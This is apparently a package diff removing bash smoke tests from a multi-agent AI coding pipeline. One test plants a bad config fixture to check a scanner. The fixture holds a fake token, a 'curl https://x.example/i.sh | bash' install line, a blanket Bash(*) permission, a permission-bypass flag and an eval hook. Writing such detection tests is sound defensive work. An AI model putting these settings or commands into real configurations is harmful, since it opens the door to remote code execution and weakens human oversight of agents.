@mmerterden/multi-agent-pipeline 12.7.0 → 12.8.0

package/pipeline/scripts/smoke-clarify.sh

@@ -1,148 +0,0 @@
-#!/usr/bin/env bash
-# smoke-clarify.sh
-#
-# Verifies the Phase 0 Step 8 clarifying-question loop:
-#   1. pipeline/agents/task-clarifier.md exists with required frontmatter
-#   2. Agent default model is haiku (cost-driven choice)
-#   3. clarify-output schema is valid JSON
-#   4. Schema enforces clarityScore range (0-10)
-#   5. Schema enforces options minItems 2 / maxItems 4
-#   6. Schema declares stopAndAsk + questions + userAnswers
-#   7. prefs schema exposes clarifyAmbiguous.{enabled, model, minScoreToProceed, maxQuestions, autopilotMode}
-#   8. clarifyAmbiguous.enabled defaults to false (opt-in)
-#   9. autopilotMode default is "log" (preserve autopilot signal without blocking)
-#  10. minScoreToProceed default is 6 (borderline-clear threshold)
-#  11. phase-0-init.md documents Step 8 (Clarification)
-#  12. phase-0-init.md cites task-clarifier.md
-#  13. phase-0-init.md documents all 3 autopilot modes (skip/log/abort)
-#
-# Exit 0 = all pass, 1 = any failure.
-
-set -uo pipefail
-
-ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
-AGENT="$ROOT/pipeline/agents/task-clarifier.md"
-SCHEMA="$ROOT/pipeline/schemas/clarify-output.schema.json"
-PREFS_SCHEMA="$ROOT/pipeline/schemas/prefs.schema.json"
-PHASE_DOC="$ROOT/pipeline/multi-agent-refs/phases/phase-0-init.md"
-
-pass=0
-fail=0
-failures=()
-record_pass() { pass=$((pass + 1)); printf '  \033[0;32mPASS\033[0m %s\n' "$1"; }
-record_fail() { fail=$((fail + 1)); failures+=("$1"); printf '  \033[0;31mFAIL\033[0m %s\n' "$1"; }
-
-printf '→ smoke-clarify: Phase 0 Step 8 clarifying-question loop contract\n'
-
-# 1-2. Agent file + frontmatter + model
-if [ ! -f "$AGENT" ]; then
-  record_fail "pipeline/agents/task-clarifier.md missing"
-else
-  fm=$(awk '/^---$/{n++; if(n==2) exit; if(n==1) next} n==1{print}' "$AGENT")
-  for key in description model preferredModel; do
-    if grep -qE "^${key}:" <<<"$fm"; then
-      record_pass "agent frontmatter has '${key}'"
-    else
-      record_fail "agent frontmatter missing '${key}'"
-    fi
-  done
-  if grep -qE "^model: haiku" <<<"$fm"; then
-    record_pass "agent default model is haiku (cost-driven choice)"
-  else
-    record_fail "agent model default should be haiku"
-  fi
-fi
-
-# 3-6. Output schema shape
-if [ ! -f "$SCHEMA" ]; then
-  record_fail "clarify-output.schema.json missing"
-elif ! jq empty "$SCHEMA" 2>/dev/null; then
-  record_fail "clarify-output.schema.json is not valid JSON"
-else
-  record_pass "clarify-output.schema.json parses"
-  if jq -e '.properties.clarityScore | (.minimum == 0 and .maximum == 10)' "$SCHEMA" >/dev/null 2>&1; then
-    record_pass "schema enforces clarityScore range 0-10"
-  else
-    record_fail "schema clarityScore range incorrect"
-  fi
-  if jq -e '.properties.questions.items.properties.options | (.minItems == 2 and .maxItems == 4)' "$SCHEMA" >/dev/null 2>&1; then
-    record_pass "schema enforces options minItems 2 / maxItems 4"
-  else
-    record_fail "schema options bounds missing"
-  fi
-  for prop in stopAndAsk questions userAnswers; do
-    if jq -e ".properties.${prop}" "$SCHEMA" >/dev/null 2>&1; then
-      record_pass "schema exposes '${prop}'"
-    else
-      record_fail "schema missing '${prop}'"
-    fi
-  done
-fi
-
-# 7. Prefs schema toggle exposure
-for prop in enabled model minScoreToProceed maxQuestions autopilotMode; do
-  if jq -e ".properties.global.properties.clarifyAmbiguous.properties.${prop}" "$PREFS_SCHEMA" >/dev/null 2>&1; then
-    record_pass "prefs schema exposes clarifyAmbiguous.${prop}"
-  else
-    record_fail "prefs schema missing clarifyAmbiguous.${prop}"
-  fi
-done
-
-# 8. Off by default
-if jq -e '.properties.global.properties.clarifyAmbiguous.properties.enabled
-          | has("default") and .default == false' "$PREFS_SCHEMA" >/dev/null 2>&1; then
-  record_pass "clarifyAmbiguous.enabled defaults to false (opt-in)"
-else
-  record_fail "clarifyAmbiguous.enabled should default to false"
-fi
-
-# 9. autopilotMode default = "log"
-ap_default=$(jq -r '.properties.global.properties.clarifyAmbiguous.properties.autopilotMode.default // empty' "$PREFS_SCHEMA")
-if [ "$ap_default" = "log" ]; then
-  record_pass "autopilotMode defaults to log"
-else
-  record_fail "autopilotMode default should be 'log' (got: ${ap_default:-missing})"
-fi
-
-# 10. minScoreToProceed default = 6
-ms_default=$(jq -r '.properties.global.properties.clarifyAmbiguous.properties.minScoreToProceed.default // empty' "$PREFS_SCHEMA")
-if [ "$ms_default" = "6" ]; then
-  record_pass "minScoreToProceed defaults to 6"
-else
-  record_fail "minScoreToProceed default should be 6 (got: ${ms_default:-missing})"
-fi
-
-# 11. Phase doc documents Step 8
-if [ ! -f "$PHASE_DOC" ]; then
-  record_fail "phase-0-init.md missing"
-else
-  if grep -qE 'Step 8  -  Clarification' "$PHASE_DOC"; then
-    record_pass "phase-0-init.md documents Step 8  -  Clarification"
-  else
-    record_fail "phase-0-init.md missing Step 8  -  Clarification section"
-  fi
-  # 12. cites task-clarifier
-  if grep -qF "task-clarifier.md" "$PHASE_DOC"; then
-    record_pass "phase doc cites agents/task-clarifier.md"
-  else
-    record_fail "phase doc must reference agents/task-clarifier.md"
-  fi
-  # 13. all 3 autopilot modes named in the doc
-  has_skip=0; has_log=0; has_abort=0
-  grep -q "\`skip\`"  "$PHASE_DOC" && has_skip=1
-  grep -q "\`log\`"   "$PHASE_DOC" && has_log=1
-  grep -q "\`abort\`" "$PHASE_DOC" && has_abort=1
-  if [ "$has_skip" = "1" ] && [ "$has_log" = "1" ] && [ "$has_abort" = "1" ]; then
-    record_pass "phase doc documents all 3 autopilot modes (skip/log/abort)"
-  else
-    record_fail "phase doc missing one of skip/log/abort autopilot modes"
-  fi
-fi
-
-printf '\n══ clarify smoke: %d passed, %d failed ══\n' "$pass" "$fail"
-if [ "$fail" -gt 0 ]; then
-  printf '\nFailures:\n'
-  for msg in "${failures[@]}"; do printf '  - %s\n' "$msg"; done
-  exit 1
-fi
-exit 0

package/pipeline/scripts/smoke-command-inventory.sh

@@ -1,81 +0,0 @@
-#!/usr/bin/env bash
-# smoke-command-inventory.sh  -  the command inventory is DERIVED, never asserted.
-#
-# Every count that describes "how many multi-agent commands exist" used to be a
-# literal in prose (contract header, sync skill, dispatcher). Adding a command
-# left those literals stale while every gate stayed green, because the gates
-# asserted the literal instead of the tree. This gate computes the count from
-# pipeline/commands/multi-agent/*/ and requires the prose to agree.
-#
-# Verifies:
-#   1. contract header count == number of command directories
-#   2. every command directory appears in the contract inventory block
-#   3. both sync surfaces (command + Copilot skill) carry the same count twice
-#      ("N commands are synced" + "instructions + N sub-command skills")
-#   4. every command directory appears in both sync inventory blocks
-#   5. every command directory has its shared/core skill counterpart
-#
-# Exit: 0 all green, 1 any failure.
-
-set -euo pipefail
-
-HERE="$(cd "$(dirname "$0")" && pwd)"
-ROOT="$(cd "$HERE/../.." && pwd)"
-CMD_DIR="$ROOT/pipeline/commands/multi-agent"
-CONTRACT="$ROOT/pipeline/multi-agent-refs/cross-cli-contract.md"
-SYNC="$ROOT/pipeline/commands/multi-agent/sync/SKILL.md"
-SYNC_SKILL="$ROOT/pipeline/skills/shared/core/multi-agent-sync/SKILL.md"
-SKILLS_DIR="$ROOT/pipeline/skills/shared/core"
-
-PASS=0
-FAIL=0
-pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
-fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
-
-echo "══ smoke-command-inventory ══"
-
-for f in "$CONTRACT" "$SYNC" "$SYNC_SKILL"; do
-  [ -f "$f" ] || { echo "  ✗ missing file: ${f#$ROOT/}"; exit 1; }
-done
-
-COMMANDS=$(find "$CMD_DIR" -mindepth 1 -maxdepth 1 -type d -exec basename {} \; | sort)
-N=$(printf '%s\n' "$COMMANDS" | grep -c . || true)
-
-echo "→ 1. derived count from the command tree: $N commands"
-[ "$N" -gt 0 ] && pass "found $N command directories" || fail "no command directories under ${CMD_DIR#$ROOT/}"
-
-echo "→ 2. contract header agrees"
-if grep -Fq "## 1. Command Inventory ($N commands)" "$CONTRACT"; then
-  pass "contract header = $N"
-else
-  fail "contract header does not say ($N commands): $(grep -o '## 1\. Command Inventory ([0-9]* commands)' "$CONTRACT" || echo 'header not found')"
-fi
-
-echo "→ 3. sync surfaces agree (2 counts x 2 files)"
-for f in "$SYNC" "$SYNC_SKILL"; do
-  rel="${f#$ROOT/}"
-  grep -Fq "**$N commands are synced**" "$f" && pass "$rel: synced count = $N" || fail "$rel: 'N commands are synced' != $N"
-  grep -Fq "instructions + $N sub-command skills" "$f" && pass "$rel: step-2 count = $N" || fail "$rel: 'instructions + N sub-command skills' != $N"
-done
-
-echo "→ 4. every command is listed in the contract + both sync inventories"
-MISSING_LIST=0
-while IFS= read -r cmd; do
-  [ -n "$cmd" ] || continue
-  for f in "$CONTRACT" "$SYNC" "$SYNC_SKILL"; do
-    grep -Eq "(^|[ ,])$cmd([ ,]|$)" "$f" || { fail "${f#$ROOT/}: inventory missing '$cmd'"; MISSING_LIST=1; }
-  done
-done <<< "$COMMANDS"
-[ "$MISSING_LIST" -eq 0 ] && pass "all $N commands listed on all 3 surfaces"
-
-echo "→ 5. shared/core skill counterpart exists for every command"
-MISSING_SKILL=0
-while IFS= read -r cmd; do
-  [ -n "$cmd" ] || continue
-  [ -f "$SKILLS_DIR/multi-agent-$cmd/SKILL.md" ] || { fail "no shared/core skill for '$cmd'"; MISSING_SKILL=1; }
-done <<< "$COMMANDS"
-[ "$MISSING_SKILL" -eq 0 ] && pass "all $N commands have a shared/core skill"
-
-echo ""
-echo "══ command-inventory smoke: $PASS passed, $FAIL failed ══"
-[ "$FAIL" -eq 0 ] || exit 1

package/pipeline/scripts/smoke-commands-skills-parity.sh

@@ -1,87 +0,0 @@
-#!/usr/bin/env bash
-# smoke-commands-skills-parity.sh  -  catch drift between the dual source of
-# truth for pipeline sub-commands.
-#
-# Current state: pipeline/commands/multi-agent/{cmd}.md (Claude slash
-# commands) and pipeline/skills/shared/multi-agent-{cmd}/SKILL.md (Copilot
-# skills) describe the same behaviors in parallel. ROADMAP 4.0 will collapse
-# them to a single source. Until then, any command that exists in one but
-# not the other is a bug  -  users will see feature mismatch between CLIs.
-#
-# This smoke enforces structural parity (every command has a matching skill).
-# Content drift is a separate problem  -  sync-parity-check.sh is the manual
-# watchdog for that.
-
-set -uo pipefail
-
-REPO_ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
-CMDS_DIR="$REPO_ROOT/pipeline/commands/multi-agent"
-SKILLS_DIR="$REPO_ROOT/pipeline/skills/shared/core"
-
-if [ ! -d "$CMDS_DIR" ]; then
-  echo "FAIL: $CMDS_DIR missing" >&2
-  exit 1
-fi
-if [ ! -d "$SKILLS_DIR" ]; then
-  echo "FAIL: $SKILLS_DIR missing" >&2
-  exit 1
-fi
-
-PASS=0
-FAIL=0
-pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
-fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
-
-# Commands to check  -  top-level *.md files under commands/multi-agent/.
-# Underscore-prefixed files (e.g. _account-picker.md) are internal fragments
-# loaded by other commands via Read; they're not invocable slash commands and
-# intentionally have no matching skill.
-CMDS=$(find "$CMDS_DIR" -mindepth 2 -maxdepth 2 -name "SKILL.md" -exec sh -c 'for f do basename "$(dirname "$f")"; done' sh {} + | sort)
-
-# help.md in commands maps to multi-agent-help skill; the main "multi-agent"
-# skill covers the behavior documented across multiple command files, so we
-# allow the orchestrator skill to stand in.
-ORCHESTRATOR_COVERS=("help" "setup" "status" "log" "resume" "kill" "purge")
-
-orchestrator_covers() {
-  for name in "${ORCHESTRATOR_COVERS[@]}"; do
-    [ "$name" = "$1" ] && return 0
-  done
-  return 1
-}
-
-echo "→ Checking that every command has a corresponding skill"
-for cmd in $CMDS; do
-  skill_dir="$SKILLS_DIR/multi-agent-$cmd"
-  if [ -d "$skill_dir" ] && [ -f "$skill_dir/SKILL.md" ]; then
-    pass "commands/multi-agent/$cmd.md ↔ skills/shared/multi-agent-$cmd/"
-  elif orchestrator_covers "$cmd" && [ -f "$SKILLS_DIR/multi-agent/SKILL.md" ]; then
-    pass "commands/multi-agent/$cmd.md covered by orchestrator skill (skills/shared/multi-agent/)"
-  else
-    fail "commands/multi-agent/$cmd.md has no matching skill"
-  fi
-done
-
-echo ""
-echo "→ Checking that every multi-agent-* skill has a corresponding command"
-SKILLS=$(find "$SKILLS_DIR" -maxdepth 1 -type d -name "multi-agent-*" -exec basename {} \; | sed 's/^multi-agent-//' | sort)
-
-for skill in $SKILLS; do
-  cmd_file="$CMDS_DIR/$skill/SKILL.md"
-  # A few skills are Copilot-CLI-style conveniences without a Claude slash equivalent:
-  case "$skill" in
-    autopilot | dev-autopilot) # dash-style shortcut skills, the flags are documented in help.md
-      pass "skills/shared/multi-agent-$skill/ is a Copilot flag shortcut (documented in help)"
-      continue
-      ;;
-  esac
-  if [ -f "$cmd_file" ]; then
-    pass "skills/shared/multi-agent-$skill/ ↔ commands/multi-agent/$skill/SKILL.md"
-  else
-    fail "skills/shared/multi-agent-$skill/ has no matching command"
-  fi
-done
-
-echo ""
-echo "══ commands-skills-parity smoke: $PASS passed, $FAIL failed ══"
-[ "$FAIL" -eq 0 ] || exit 1

package/pipeline/scripts/smoke-community-gates.sh

@@ -1,75 +0,0 @@
-#!/usr/bin/env bash
-# smoke-community-gates.sh  -  v9.11.0
-#
-# Validates that the three community-sourced quality steps are wired into
-# their phase docs:
-#   B1  code-simplifier pass     -> phase-3-dev.md   (diff shrink before Phase 4)
-#   B2  lesson memory loop       -> phase-4-review.md (root-cause lesson per fix round)
-#   B3  cross-artifact check     -> phase-2-planning.md (plan vs analysis, pre-approval)
-#
-# Without this, the steps can silently drop out of the phase docs during a
-# refactor and the pipeline regresses to bloated diffs, repeated root causes,
-# and plans that drift from the analysis.
-#
-# What this does NOT enforce:
-#   - Runtime  -  that the agent actually runs the steps. This smoke catches
-#     the prompt-side gap, same as smoke-tracker-contract.sh.
-
-set -euo pipefail
-
-REPO_ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
-PHASES_DIR="$REPO_ROOT/pipeline/multi-agent-refs/phases"
-
-PASS=0
-FAIL=0
-pass() { PASS=$((PASS + 1)); echo "  ✓ $1"; }
-fail() { FAIL=$((FAIL + 1)); echo "  ✗ $1"; }
-
-check() {
-  local doc="$1" marker="$2" label="$3"
-  local full="$PHASES_DIR/$doc"
-  if [ ! -f "$full" ]; then
-    fail "$doc missing"
-    return
-  fi
-  if grep -qiF "$marker" "$full"; then
-    pass "$doc: $label"
-  else
-    fail "$doc missing $label (marker: $marker)"
-  fi
-}
-
-# ──────────────────────────────────────────────────────────────────────────
-echo "→ 1. B1  -  code-simplifier pass in phase-3-dev.md"
-check "phase-3-dev.md" "Code-simplifier pass" "diff-shrink step heading"
-check "phase-3-dev.md" "Comment bloat" "comment-bloat smell"
-check "phase-3-dev.md" "Unrelated rewrites" "unrelated-rewrites smell"
-check "phase-3-dev.md" "Dead code" "dead-code smell"
-check "phase-3-dev.md" "Over-abstraction" "over-abstraction smell"
-check "phase-3-dev.md" "Re-run build + tests" "post-shrink build/test re-run"
-check "phase-3-dev.md" "dev.simplifier_pass" "cost-ledger metric for the subagent"
-check "phase-3-dev.md" "dispatching code-simplifier diff-shrink" "progress line"
-
-# ──────────────────────────────────────────────────────────────────────────
-echo ""
-echo "→ 2. B2  -  lesson memory loop in phase-4-review.md"
-check "phase-4-review.md" "Lesson memory loop" "lesson step heading"
-check "phase-4-review.md" "learnings-ledger.mjs add" "ledger append invocation (existing store, no parallel store)"
-check "phase-4-review.md" "one-line root-cause lesson" "one-line root-cause contract"
-check "phase-4-review.md" "writing lesson to learnings ledger" "progress line"
-
-# ──────────────────────────────────────────────────────────────────────────
-echo ""
-echo "→ 3. B3  -  cross-artifact consistency check in phase-2-planning.md"
-check "phase-2-planning.md" "Cross-artifact consistency check" "consistency step heading"
-check "phase-2-planning.md" "maps to at least one plan task" "requirement-coverage check"
-check "phase-2-planning.md" "No plan task without an analysis anchor" "anchor-integrity check"
-check "phase-2-planning.md" "Open-question carry-over" "open-question carry-over check"
-check "phase-2-planning.md" "revise the plan ONCE" "single-revision rule"
-check "phase-2-planning.md" "Consistency gaps" "remaining-gaps surfacing banner"
-check "phase-2-planning.md" "checking plan-vs-analysis consistency" "progress line"
-
-# ──────────────────────────────────────────────────────────────────────────
-echo ""
-echo "══ community-gates smoke: $PASS passed, $FAIL failed ══"
-[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-compliance-skills.sh

@@ -1,119 +0,0 @@
-#!/usr/bin/env bash
-# smoke-compliance-skills.sh  -  v5.8.0+ store-ready compliance skills contract.
-#
-# Verifies the two compliance skills are consistent with their documentation and
-# that the 4 claimed consumer surfaces actually reference them (not just promise).
-#
-# Covers:
-#   1. apple-archive-compliance/SKILL.md exists, has frontmatter, 18-rule catalog,
-#      EN + TR humanizer blocks, severity table, prerequisite detection.
-#   2. google-play-compliance/SKILL.md exists, has frontmatter, 21-rule catalog
-#      across 4 categories, EN + TR humanizer blocks, severity table, prereq detection.
-#   3. sim-test.md has "store-ready" scenario branch with platform detection.
-#   4. security-auditor.md cites both skills in a cross-reference subsection.
-#   5. review.md + multi-agent-review/SKILL.md cite both skills.
-#   6. channels.md + multi-agent-channels/SKILL.md have auto-augmentation logic
-#      that reads cached JSON reports.
-
-set -euo pipefail
-
-HERE="$(cd "$(dirname "$0")" && pwd)"
-ROOT="$(cd "$HERE/../.." && pwd)"
-
-APPLE_SKILL="$ROOT/pipeline/skills/shared/core/apple-archive-compliance/SKILL.md"
-GOOGLE_SKILL="$ROOT/pipeline/skills/shared/core/google-play-compliance/SKILL.md"
-SIM_TEST="$ROOT/pipeline/commands/sim-test.md"
-SEC_AUDITOR="$ROOT/pipeline/agents/security-auditor.md"
-REVIEW_CMD="$ROOT/pipeline/commands/multi-agent/review/SKILL.md"
-REVIEW_SKILL="$ROOT/pipeline/skills/shared/core/multi-agent-review/SKILL.md"
-CHANNELS_CMD="$ROOT/pipeline/commands/multi-agent/channels/SKILL.md"
-CHANNELS_SKILL="$ROOT/pipeline/skills/shared/core/multi-agent-channels/SKILL.md"
-
-PASS=0
-FAIL=0
-pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
-fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
-
-for f in "$APPLE_SKILL" "$GOOGLE_SKILL" "$SIM_TEST" "$SEC_AUDITOR" "$REVIEW_CMD" "$REVIEW_SKILL" "$CHANNELS_CMD" "$CHANNELS_SKILL"; do
-  [ -f "$f" ] || { echo "error: missing $f" >&2; exit 1; }
-done
-
-echo "→ 1. apple-archive-compliance SKILL.md frontmatter + catalog shape"
-grep -q "^name: apple-archive-compliance$" "$APPLE_SKILL" && pass "apple frontmatter name" || fail "apple frontmatter name"
-grep -q "^user-invocable: true$" "$APPLE_SKILL" && pass "apple user-invocable" || fail "apple user-invocable"
-grep -q "argument-hint:" "$APPLE_SKILL" && pass "apple argument-hint" || fail "apple argument-hint"
-# Count rule rows in the catalog table (excluding header + separator)
-APPLE_RULES=$(awk '/^## 18-Rule Catalog/,/^## Severity mapping/' "$APPLE_SKILL" | grep -cE '^\| *[0-9]+ *\|' || true)
-[ "$APPLE_RULES" -eq 18 ] && pass "apple catalog has 18 rule rows" || fail "apple catalog has $APPLE_RULES rule rows (want 18)"
-
-echo "→ 2. apple skill humanizer blocks EN + TR + severity table"
-# v8.2 split humanizer language from picker language: gating moved from
-# `promptLanguage == "en"|"tr"` (locked to "en") to the per-run `--lang=` flag.
-grep -qE '^### EN .*--lang=en' "$APPLE_SKILL" && pass "apple EN humanizer block present" || fail "apple EN humanizer missing"
-grep -qE '^### TR .*--lang=tr' "$APPLE_SKILL" && pass "apple TR humanizer block present" || fail "apple TR humanizer missing"
-grep -qE '\| *`error` *\|' "$APPLE_SKILL" && pass "apple severity table has error row" || fail "apple severity error row"
-grep -qE '\| *`warning` *\|' "$APPLE_SKILL" && pass "apple severity table has warning row" || fail "apple severity warning row"
-grep -qE '\| *`info` *\|' "$APPLE_SKILL" && pass "apple severity table has info row" || fail "apple severity info row"
-
-echo "→ 3. apple skill prerequisite detection + archive resolution (v8.4.0+ uses dev-toolkit-mcp)"
-grep -q 'ios_app_store_audit' "$APPLE_SKILL" && pass "apple references ios_app_store_audit MCP tool" || fail "apple ios_app_store_audit reference missing"
-grep -q '.xcarchive' "$APPLE_SKILL" && pass "apple references .xcarchive" || fail "apple .xcarchive missing"
-grep -q '@mmerterden/dev-toolkit-mcp' "$APPLE_SKILL" && pass "apple references @mmerterden/dev-toolkit-mcp package" || fail "apple dev-toolkit-mcp reference missing"
-grep -q 'mcp__dev-toolkit__ios_app_store_audit' "$APPLE_SKILL" && pass "apple shows MCP-call invocation form" || fail "apple MCP-call invocation form missing"
-
-echo "→ 4. google-play-compliance SKILL.md frontmatter + catalog shape"
-grep -q "^name: google-play-compliance$" "$GOOGLE_SKILL" && pass "google frontmatter name" || fail "google frontmatter name"
-grep -q "^user-invocable: true$" "$GOOGLE_SKILL" && pass "google user-invocable" || fail "google user-invocable"
-grep -q "argument-hint:" "$GOOGLE_SKILL" && pass "google argument-hint" || fail "google argument-hint"
-GOOGLE_RULES=$(awk '/^## 21-Rule Policy Catalog/,/^## Severity mapping/' "$GOOGLE_SKILL" | grep -cE '^\| *[0-9]+ *\|' || true)
-[ "$GOOGLE_RULES" -eq 21 ] && pass "google catalog has 21 rule rows" || fail "google catalog has $GOOGLE_RULES rule rows (want 21)"
-
-echo "→ 5. google catalog has 4 categories (A Technical / B Security / C Privacy / D Hygiene)"
-grep -q "^### A\. Technical requirements" "$GOOGLE_SKILL" && pass "google A Technical category" || fail "google A Technical missing"
-grep -q "^### B\. Security" "$GOOGLE_SKILL" && pass "google B Security category" || fail "google B Security missing"
-grep -q "^### C\. Privacy" "$GOOGLE_SKILL" && pass "google C Privacy category" || fail "google C Privacy missing"
-grep -q "^### D\. Release hygiene" "$GOOGLE_SKILL" && pass "google D Hygiene category" || fail "google D Hygiene missing"
-
-echo "→ 6. google skill humanizer blocks EN + TR"
-grep -qE '^### EN .*--lang=en' "$GOOGLE_SKILL" && pass "google EN humanizer block present" || fail "google EN humanizer missing"
-grep -qE '^### TR .*--lang=tr' "$GOOGLE_SKILL" && pass "google TR humanizer block present" || fail "google TR humanizer missing"
-
-echo "→ 7. google skill tool orchestration"
-grep -q 'bundletool' "$GOOGLE_SKILL" && pass "google references bundletool" || fail "google bundletool missing"
-grep -q 'aapt2' "$GOOGLE_SKILL" && pass "google references aapt2" || fail "google aapt2 missing"
-grep -q 'apksigner' "$GOOGLE_SKILL" && pass "google references apksigner" || fail "google apksigner missing"
-grep -q '.aab' "$GOOGLE_SKILL" && pass "google references .aab" || fail "google .aab missing"
-
-echo "→ 8. sim-test.md store-ready scenario branch"
-grep -q 'store-ready' "$SIM_TEST" && pass "sim-test mentions store-ready" || fail "sim-test missing store-ready"
-grep -q 'apple-archive-compliance' "$SIM_TEST" && pass "sim-test dispatches apple skill" || fail "sim-test missing apple dispatch"
-grep -q 'google-play-compliance' "$SIM_TEST" && pass "sim-test dispatches google skill" || fail "sim-test missing google dispatch"
-grep -q '\.xcodeproj' "$SIM_TEST" && pass "sim-test platform-detects .xcodeproj" || fail "sim-test missing .xcodeproj detect"
-grep -q 'build\.gradle' "$SIM_TEST" && pass "sim-test platform-detects build.gradle" || fail "sim-test missing build.gradle detect"
-
-echo "→ 9. consumer wiring  -  security-auditor (both catalogs)"
-grep -q 'apple-archive-compliance' "$SEC_AUDITOR" && pass "security-auditor references apple skill" || fail "security-auditor apple reference missing"
-grep -q 'google-play-compliance' "$SEC_AUDITOR" && pass "security-auditor references google skill" || fail "security-auditor google reference missing"
-grep -qE 'Info\.plist|PrivacyInfo|entitlements' "$SEC_AUDITOR" && pass "security-auditor lists iOS trigger files" || fail "security-auditor iOS trigger files missing"
-grep -qE 'AndroidManifest|build\.gradle|proguard' "$SEC_AUDITOR" && pass "security-auditor lists Android trigger files" || fail "security-auditor Android trigger files missing"
-
-echo "→ 10. consumer wiring  -  /multi-agent:review (both CLIs)"
-grep -q 'apple-archive-compliance' "$REVIEW_CMD" && pass "review.md cites apple catalog" || fail "review.md apple reference missing"
-grep -q 'google-play-compliance' "$REVIEW_CMD" && pass "review.md cites google catalog" || fail "review.md google reference missing"
-grep -q 'apple-archive-compliance' "$REVIEW_SKILL" && pass "review SKILL.md cites apple catalog" || fail "review SKILL.md apple missing"
-grep -q 'google-play-compliance' "$REVIEW_SKILL" && pass "review SKILL.md cites google catalog" || fail "review SKILL.md google missing"
-
-echo "→ 11. consumer wiring  -  /multi-agent:channels auto-augmentation"
-grep -q 'archiveguard-.*\.json' "$CHANNELS_CMD" && pass "channels.md reads cached archiveguard JSON" || fail "channels.md archiveguard cache missing"
-grep -q 'play-compliance-.*\.json' "$CHANNELS_CMD" && pass "channels.md reads cached play-compliance JSON" || fail "channels.md play-compliance cache missing"
-grep -qE 'Store compliance|store compliance' "$CHANNELS_CMD" && pass "channels.md has Store compliance section" || fail "channels.md Store compliance section missing"
-grep -q 'archiveguard-.*\.json' "$CHANNELS_SKILL" && pass "channels SKILL.md reads archiveguard cache" || fail "channels SKILL.md archiveguard cache missing"
-grep -q 'play-compliance-.*\.json' "$CHANNELS_SKILL" && pass "channels SKILL.md reads play-compliance cache" || fail "channels SKILL.md play-compliance cache missing"
-grep -qE 'Store compliance|store compliance' "$CHANNELS_SKILL" && pass "channels SKILL.md has Store compliance section" || fail "channels SKILL.md Store compliance section missing"
-
-echo "→ 12. apple skill writes the cache filename channels.md reads (producer↔consumer agreement)"
-grep -q 'archiveguard-\$\$\.json\|archiveguard-{pid}\.json' "$APPLE_SKILL" && pass "apple skill writes /tmp/archiveguard-*.json (matches channels glob)" || fail "apple skill cache filename does NOT match channels glob  -  store-compliance auto-augmentation will silently never trigger"
-
-echo ""
-echo "══ compliance-skills smoke: $PASS passed, $FAIL failed ══"
-[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-config-hygiene.sh

@@ -1,58 +0,0 @@
-#!/usr/bin/env bash
-# smoke-config-hygiene.sh  -  contract for scan-agent-config.sh.
-#
-# 1. The real shipped surface must be clean (exit 0).
-# 2. A fixture tree with planted-bad configs must be caught (exit 1, HIGH findings).
-#    Detection matters: a hygiene gate that never fires is worthless.
-#
-# Exit 0 = all pass, 1 = any failure.
-
-set -uo pipefail
-
-ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
-SCANNER="$ROOT/pipeline/scripts/scan-agent-config.sh"
-[ -f "$SCANNER" ] || { echo "FAIL: scanner missing" >&2; exit 1; }
-
-PASS=0; FAIL=0
-pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
-fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
-
-echo "→ 1. real shipped surface is clean"
-if bash "$SCANNER" >/dev/null 2>&1; then pass "real surface exits 0"; else fail "real surface flagged (unexpected)"; fi
-
-echo "→ 2. planted-bad fixture is caught"
-TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
-mkdir -p "$TMP/install/templates" "$TMP/pipeline/agents" "$TMP/pipeline/scripts"
-
-# a fake (non-real) token that matches the high-signal prefix rule
-FAKE_TOKEN="ghp_$(printf 'A%.0s' $(seq 1 36))"
-cat > "$TMP/pipeline/preferences-template.json" <<EOF
-{ "token": "$FAKE_TOKEN", "install": "curl https://x.example/i.sh | bash" }
-EOF
-
-# bad hooks template: blanket Bash(*), bypass flag, and an eval-bearing hook cmd
-cat > "$TMP/install/templates/claude-hooks.json" <<'EOF'
-{
-  "permissions": { "allow": ["Bash(*)"] },
-  "skipDangerousModePermissionPrompt": true,
-  "hooks": { "PreToolUse": [ { "matcher": "Bash(git commit:*)",
-    "hooks": [ { "type": "command", "command": "bash -c \"eval $(cat x)\"" } ] } ] }
-}
-EOF
-: > "$TMP/pipeline/agents/placeholder.md"
-
-OUT="$(SCAN_ROOT="$TMP" bash "$SCANNER" 2>&1 || true)"
-CODE=$?
-# under set -e off, capture exit explicitly
-SCAN_ROOT="$TMP" bash "$SCANNER" >/dev/null 2>&1; CODE=$?
-
-[ "$CODE" -eq 1 ] && pass "fixture exits 1 (blocking)" || fail "fixture did not block (exit $CODE)"
-echo "$OUT" | grep -q "\[HIGH\].*secret"        && pass "detects hardcoded secret"      || fail "missed secret"
-echo "$OUT" | grep -q "\[HIGH\].*bypass"         && pass "detects permission bypass"     || fail "missed bypass flag"
-echo "$OUT" | grep -q "\[HIGH\].*hook"           && pass "detects eval-bearing hook cmd" || fail "missed bad hook command"
-echo "$OUT" | grep -q "\[MEDIUM\].*Bash"         && pass "detects blanket Bash(*)"       || fail "missed blanket Bash"
-echo "$OUT" | grep -q "\[MEDIUM\].*curl|bash\|pipe-to-shell" && pass "detects curl|bash" || fail "missed curl|bash"
-
-echo ""
-echo "══ config-hygiene smoke: $PASS passed, $FAIL failed ══"
-[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-context-budget.sh

@@ -1,72 +0,0 @@
-#!/usr/bin/env bash
-#
-# smoke-context-budget.sh  -  the bytes every pipeline run pays before it starts.
-#
-# core/multi-agent/SKILL.md plus multi-agent-refs/rules.md load on every run of
-# every mode, whatever the task. They were 67150 bytes together, roughly 17k
-# tokens spent before the first phase, because the orchestrator skill had grown
-# its own inline copies of things that already existed as loadable references -
-# the log-file template (whose copy had gone stale and named a path the code no
-# longer uses), the help text the multi-agent-help skill owns, and a component
-# generation guide that only applies to design tasks.
-#
